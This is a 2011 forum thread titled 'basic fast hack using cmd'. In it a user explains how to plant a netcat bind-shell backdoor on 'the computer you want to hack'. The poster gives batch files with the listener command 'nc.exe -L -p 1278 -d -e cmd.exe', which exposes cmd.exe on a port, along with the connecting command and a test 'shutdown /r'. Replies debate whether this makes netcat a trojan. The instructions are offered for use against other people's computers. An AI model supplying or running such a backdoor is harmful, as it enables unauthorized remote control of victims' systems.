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basic fast hack using cmd

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#1 DarkPhoeniX

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Posted 24 December 2011 - 10:41 PM

Netcat is a great Network tool and as old as time itself
I found treads dating back to windows 98
Its mainly used for UNIX systems but there is a windows compile available

So lets get hacking
Download Netcat from here

Extract nc.exe onto the desktop(of the computer you want to hack)

create Listen.bat and place it onto the desktop
@echo off

nc.exe -L -p 1278 -d -e cmd.exe

This bat file will be run in the computer you want to control
Think of it as a very Basic BackDoor or RAT(remote administrator tool)
Once run it should create a black box do not close it

now extract nc.exe onto the desktop of your computer(the computer that is going to do the hacking)
create Connect.bat and place it onto the desktop
nc.exe 192,168.0.1 1278

192.168.0.1 is the IP adders of the computer you are trying to hack so change it if needed
Now run the .bat and ta-da you are in
Since This is Reboot pro lets give it a Nice command to test
shutdown /r

I have only tested this on a LAN but it should work Online too
I have Tested this on Windows 7 32/64 and i only got a "don't send" error once
Someone that knows how to work in the command prompt will find this useful

If you have questions/comments please post them now....
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#2 homes32

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Posted 24 December 2011 - 11:48 PM

Think of it as a very Basic Trojan

i resent that statement..
netcat is nowhere close trojan and makes no effort whatsoever to hide its capabilities or intentions as a tcp/ip power users toolkit
a better way would be to describe the specific use of functionality of netcat you are illustrating is a RAT (remote administration tool) or a backdoor

#3 DarkPhoeniX

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Posted 25 December 2011 - 12:28 AM

Remember i typed:

Netcat is a great Network tool

Im not implying that it is a Trojan so i changed it ........

but it could easily become one of the parts in a Trojan
just remember noobs , hacking is illegal , unethical and rude
type in a CMD window:
nc.exe -h
one of the lines explains :
-e prog	         	 Inbound program to exec [dangerous!!]


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Posted 25 December 2011 - 12:12 PM

Isn't it very similar to telnet/ssh?




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